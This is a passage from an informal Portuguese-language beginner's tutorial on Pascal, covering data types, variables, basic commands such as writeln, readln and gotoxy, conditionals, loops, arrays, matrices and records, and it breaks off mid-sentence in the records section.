| Shortint | Num. Inteiro | -128 a 127 | 1 byte |
| ----------- |--------------|-----------------------------|------------------------------|
| Single | Num. Real | 1.5E-45 a 3.4E38 | 4 bytes |
| ----------- |--------------|-----------------------------|------------------------------|
| String | Caracter | Cadeia de Caracteres | Varia de 2 a 256 |
| ----------- |--------------|-----------------------------|------------------------------|
| Word | Num. Inteiro | 0 a 65535 | 2 bytes |
-----------------------------------------------------------------------------------------
3.7.1 - Declarando Variáveis
~~~~~~~~~~ ~~~~~~~~~
Bem, existem variáveis globais e locais. Mas não vamos entrar nisso por
enquanto. A declaração de uma variável em Pascal segue a seguinte sintaxe:
Var : tipo da variável;
: tipo da variável;
: tipo da variável;
por exemplo:
Var d4rwin : string[15];
num1,num2 : integer;
contador : word
Resposta : char;
{Repare no string[15]. O número entre parênteses indica que a variável terá no
máximo 15 caracteres. Quando não se coloca o valor entre parênteses, o
programa considera a variável com o limita máximo de 256 caracteres.}
3.8 - Corpo do Programa
~~~~~ ~~ ~~~~~~~~
Vimos até agora, Constantes,Tipo e Variáveis. Esses três campos servem para
dizermos ao compilador quais recursos iremos utilizar, para que assim ele
reserve um espaço na memoria para tais recursos. Depois de declarados o que
iremos utilizar no programa, vamos ao bloco principal ou corpo do programa. O
bloco principal começa no momento em que digitamos BEGIN, e acaba quando
digitamos END. Veja um exemplo:
Begin
comandos;
comandos;
comandos;
comandos;
End.
3.9 - O uso do ;(ponto-e-vírgula)
~ ~~~ ~~ ~~~~~~~~~~~~~~~~~~
É importante ressaltar o uso do ";". O ";" é muito importante, pois é ele quem
indica que a linha terminou. Se nos esquercermos de por o ";" o programa na
compilará, por isso sempre preste muita atenção.
4.0 - Sinais
~~~~~~
Assim como na matemática nós utilizamo-nos de sinais para efutuar cálculos e
operações, em Pascal não podería ser diferente. Abaixo, segue os sinais e para
que servem:
+ -> Soma
- -> Subtração
/ -> Divisão entre números reais
* -> Multiplicação
Div -> Divisão entre números inteiros
Mod -> Retorna o resto de uma divisão entre inteiros
5.0 - Comando Básicos
~~~~~~~ ~~~~~~~
Agora a coisa está començando a ficar legal...=). Vamos aprender agora alguns
comandos básicos, que nos auxiliarão na criação do programa, e também deixá-lo
com uma cara mais bonita. São eles:
Write -> O comando write é utilizado para imprimir alguam coisa na tela. Sua
sintaxe é:
write ('Hello World');
{Observe a aspa simples, tudo o que estiver dentro de aspas simples,
é considerados texto pelo compilador }
WriteLN -> Faz a mesma coisa que o write, mas depois de impresso o texto ele
posiciona o cursor na primeira coluna da linha abaixo. LN = Line. Sua
sintaxe é igual a do Write.
Read -> O comando read serve para lermos dados vindos do teclado. Por
exemplo, eu faço uma pergunta, então utilizo o read para ler a resposta e
armazenar esta resposta numa variavel(declarada na área Var, antes do
bloco principal). Sua sintaxe é:
read(variável);
{Sendo variável aonde vai ser armazenado o valor lido}
ReadLN -> A exemplo do writeln, o readln lê os dados e após a leitura,
posiciona o cursor na primeira coluna da linha abaixo. LN = Line. Sua sintaxe é
igual a do read.
ClrScr -> Este comando limpa a tela e posiciana o cursor na primeira
linha,primeira coluna. Sua sintaxe é:
ClrScr;
Delay -> O comando delay serve para pausar a execução do programa por um
tempo determinado. O tempo é determinado em milisegundos, portanto
1000 milisegundos equivalem a 1 segundo. Sua sintaxe é:
Delay(milisegundos);
Trunc -> Este comando pega a parte inteira de um cálculo ou número real. Sua
sintaxe é:
Trunc(num_real);
por exemplo
Trunc(9.5 / 2.2);
{Pega a parte inteira do resultado da divisão de 9.5 com 2.2}
GotoXY -> Em pascal, a tela é divida em 80 colunas e 25 linhas. Com o comando
GotoXY, você pode ir para qualquer lugar que esteja entre essas 80 colunas e
25 linhas. Sua sintaxe é:
Gotoxy (coluna,linha);
UpCase -> Este comando pega caracteres em letras minúsculas e os converte
para caixa alta. Sua sintaxe é:
var_do_tipo_string := UpCase(var_do_tipo_string);
ReadKey -> Este comando pausa o programa até que alguma tecla seja
pressionada. Sua sintaxe é:
Readkey;
ou
var_do_tipo_char := readkey;
textbackground -> Este comando defini a cor de fundo. Sua sintaxe é:
textbackground(numero_da_cor);
ou
textbackground(nome_da_cor);
textcolor -> Este comando defini a cor da letra. Sua sintaxe é:
textcolor(numero_da_cor);
ou
textcolor(nome_da_cor);
Cores Disponíveis:
·BLUE
·GREEN
·CYAN
·RED
·MAGENTA
·BROWN
·LIGHTGRAY
·DARKGRAY
·LIGHTBLUE
·LIGHTGREEN
·LIGHTCYAN
·LIGHRED
·LIGHMAGENTA
·YELLOW
·WHITE
·BLACK
{Nós podemos também somar duas cores, por exemplo : "textcolor (RED +
BLUE);". Adicionando a string "Blink" a cor, temos um efeito
piscante, por exemplo: "textcolor (RED + Blink);" .}
6.0 - Estruturas
~~~~~~~~~~
Aqui vamos estudar duas estruturas: As estruturas condicionais e as de
atribuição.
6.1 Estruturas de Atribuição
~~~~~~~~~~ ~~ ~~~~~~~~~~
Bom, como o próprio nome já diz, estruturas de atribuição são utilizadas para
atribuir valores a variáveis. Por exemplo, eu tenho uma variável A, uma
variável B e uma variável chamada Resultado. Eu quero que os valores da soma de
A + B sejam atribuídos a variável Resultado. Isso ficaria da seguinte forma:
Resultado := A + B;
{Note o ":=". Diferente de outras linguagens, o sinal de atribuição em Pascal
é dois ponto e um igual. Toda vez que utilizarmos este sinal, o valor da
esquerda recebe o valor da direita.}
6.2 Estruturas Condicionais
~~~~~~~~~~ ~~~~~~~~~~~~
As estruturas condicionais são utilizadas quando nos deparamos com determinadas
situações em que temos que tomar decisões. Por exemplo. Estou andando na rua,
mas pode chover, então se chover, eu devo pegar um guarda-chuva, senão, devo
continuar andando. O mesmo acontece com programação, por exemplo, estou fazendo
um programa que lê duas notas bimestrais, calcula a média e diz se o aluno foi
aprovado ou reprovado. Consideremos a média como 70. Portanto, SE a média for
menor que 70, imprimir reprovado, SENÃO imprimir aprovado. Veja um exemplo pra
entender melhor:
media := A + B / 2; {O sinal "/", indica divisao de numeros reais}
if media < 70 then
writeln ('Reprovado!')
else writeln ('Aprovado');
OBS.: IF = Se | THEN = Então | Else = Senão
{No exemplo acima, calculmos a média do aluno, e de acordo com a média, maior
ou menor que 70, damos o resultado.}
Sintaxes para IF:
IF condição THEN IF condiçao THEN IF condição THEN IF condição THEN
comandos Begin Begin comando;
ELSE comandos; comandos; comandos;
comandos; comandos;
... ...
comandos; comandos;
End; End
IF condição THEN ELSE Begin
Begin comandos;
comandos comandos;
End; End;
OBS2.: Quando temos um ou mais IFs dentro de um estrutura condicional(outro
IF), denominamos tal estrutura de IF Aninhando/Se Aninhando.
Existe também outra estrutura condicional, a estrutura CASE. Abaixo segue sua
sintaxe:
CASE escolha of
begin
1..100 : begin
writeln ('Você digitou um número.');
end;
'A'..'Z' : begin
writeln ('Você digitou uma letra maiúscula');
end;
'a'..'z' : begin
writeln ('Você digitou uma letra minúscula');
end;
else ;
{Quando utilizarmos apenas uma writeln, um readln, ou qualquer outro comando,
não há a necessidade de se usar o begin e end; (eu usei de tongo mesmo,
hehehe).}
7.0 - Laços
~~~~~
Laços de repetição são utilizados quando queremos que determina situação se
repita até que algo aconteça, fazendo com que a situação pare de ser executada.
Por exemplo, estou fazendo um programa que cadastra clientes. Para que o
usuário não tenha de abrir mais um vez o programa toda vez que quiser cadastrar
um novo cliente, criamos um laço de repetição. O laço ficaria se repetindo até
o momento em que o usuário não desejasse mais cadastrar usuários.
7.1 - Laço FOR
~~~~ ~~~
O laço FOR permite que determinemos a quantidade de vezes que tal bloco do
programa será executado. Sua sintaxe é:
OBS.: FOR = De | TO = a | DO = Faça
FOR contador := 1 to do
begin
comandos;
comandos;
comandos;
end;
por exemplo:
FOR contador := 1 to 5 do
begin
writeln ('MotdLabs');
writeln (' by d4rwin');
end;
{Este laço acima repetiria(imprimiria) 5 vezes na tela as frases MotdLabs e by
d4rwin.}
O laço FOR também nos permite determinar o número de vezes de forma
descrescente. Por exemplo:
FOR contador := 5 downto 3 do
begin
comandos;
comandos;
comandos;
end;
{O laço acima executaria 2 vezes, contando regressivamente de 5 até chegar em
3, o que está entre begin e end;}
7.2 - WHILE
Aqui está mais uma estrutura ou laço de repetição. Utilizamos o WHILE quando
queremos que determinado bloco do programa se repetia até que algo aconteça.
Sua sintexe é:
OBS.: WHILE = Enquanto | DO = Faça
WHILE condição DO
Begin
comandos;
comandos;
comandos;
...
End;
por exemplo:
WHILE num > 10 DO
Begin
writeln ('Eu estou aprendendo Pascal');
writeln ;
writeln ;
writeln ('d4rwin eh l33t0, =)');
num := 8;
End;
{No exemplo acima temos a seguinte condiçao, num > 10. Enquanto essa condição
for verdadeira(maior que 10), o programa executará aquilo que estiver dentro
do bloco de repetiçao. Quando o programa encontra num := 8, ele sai do laço,
pois a condição se tornou falsa.}
7.3 - Repeat
~~~~~~
Podemos dizer que o Repeat é o contrário do WHILE. Ele executa o que está no
bloco de repetição até que a condição seja verdadeira. Enquanto a condição for
falsa, ele executa o bloco de repetição. Sua sintaxe é:
Repeat
comandos;
comandos;
comandos;
...
comandos;
Until (condição_for_verdadeira);
por exemplo
Repeat
write ('Digite um num: ');
readln (num);
write ('Digite outro num: ');
readln (num2);
result := num + num2;
writeln ('Resultador: ',result);
Until (result < 0);
{No exemplo acima, o programa fica somando,somando...somando, até que o
resultado seja negativo/menor que 0. Repare que o Repeat dispensa o uso do
Begin e End;}
8.0 - Vetores
~~~~~~~
A partir do momento em que precisamos declarar um número muito grande de
variáveis, faz-se necessário o uso de vetores, denominado em Pascal como
"array", para que não tenhamos o desconforto de declarar todas as variáveis.
Por exemplo, estou fazendo um programa que cadastre os 300 clientes de um
empresa. Imagina o trabalho que daria declarar 300 variáveis do mesmo tipo, e
pior, o desconforto que seria criar a estrutura para ler essas 300 variáveis.
Por isso nós utilizamos arrays. Sua sintaxe é:
Var : array [1..n] of integer;
por exemplo
Var clientes : array [1..300] of string[15];
{A estrutra acima é a forma como declaramos arrays em Pascal.}
Para acessar essas variáveis no programa, utilizamos o nome do array mais seu
indice. Por exemplo: clientes[1], clientes[2], clientes[3] ... cliente[n];
Mesmo utilizando-se de arrays, o processo de ler os 300 clientes seria penoso.
Por isso, utilizando-se de um laço FOR, podemos ler todos os clientes, com
apenas algumas linhas. Segue o exemplo:
FOR contador := 1 to 300 do
begin
readln (clientes[contador]);
end;
{No Laço acima, o programa lê do cliente 1 ao 300. Note que entre parenteses
encontra-se "contador". Portanto, o programa ficará lendo os nomes dos
clientes, até chegar em 300.}
Para imprimir o nome de um cliente, faríamos assim:
writeln ('Cliente: ',cliente[76]);
E se quisessemos imprimir o nome de todos os clientes, utilizaríamos mas uma
vez o laço FOR:
FOR contador := 1 to 300 do
begin
writeln ('Cliente Numero: ',contador);
writeln ('Nome: ',clientes[contador]);
writeln ;
end;
9.0 - Matrizes
~~~~~~~~
As matrizes se assemelham aos vetores, mas possibilitam armazenar um número
maior de variáveis. Abaixo segue um desenho de como seriam mais ou menos uma
matriz:
1 2 3 4 5
------------------------
1 | 1,1| 1,2| 1,3| 1,4| 1,5|
|----|----|----|----|----|
2 | 2,1| 2,2| 2,3| 2,4| 2,5|
------------------------
{Em cada "cazinha" é armazenada uma variável}
Como você pode observer no desenho acima, temos 5 colunas e 2 linhas. Quando
estamos mechendo com matrizes, sempre nos referimos primeiro a linha, depois a
coluna. Abaixo segue um exemplo de declaração de matrizes:
: array [1..10,1..10] of integer;
por exemplo:
numero : array [1..10,1..10] of integer;
{No exemplo acima, declaramos uma matriz que possui 10 linhas e 10
colunas. Quando queremos acessar alguma variável armazenada numa matriz,
utilizamos um índice com as coordenadas.}
Por exemplo:
writeln ('Numero: ',numero[2,6]);
{No exemplo acima, será impresso na tela o número que está na linha 2, coluna
6.}
Para ler(read) um ou imprimir uma matriz, utilizamos os seguitens laços FOR:
for linha := 1 to 10 do
begin
for coluna := 1 to 10 do
begin
write ('Digite um numero: ');
readln (numero[linha,coluna]);
end;
end;
{Vamos analisar o laço acima, o programa pede para o usuário digitar um número.
Este número é armazenado na linha 1,coluna 1. Depois o laça se repetirá,
então o próximo número a ser lido será armazenado na linha 1, coluna 2, e
assim por diante. Quando a coluna chega a 10, o laço passa para a linha 2, e
tudo se repete, =)}
10.0 - Registros
~~~~~~~~~
Registros são utilizados para armazenas várias variáveis de tipos diferentes.
Por exemplo, estou criando um programa para o CENSO. Eu preciso do nome da
pessoa, sua idade, telefone e endereço. Nome,idade,telefone e endereço são
variáveis de tipos diferentes. Por isso, veja como ficaria este exemplo
utilizando registros:
Type registro = record
nome :string[15];
idade :integer;
telefone :integer;
endereço :string;
end;
{Analisando a estrutura acima, vemos que registro é igual a record. Portanto,
toda vez que quisermos nos referir a um registro que tenha nome,idade,telefone
e endereço, utilizaremos : "var : registro". Isto declararia
do tipo registro, isto significa que na variável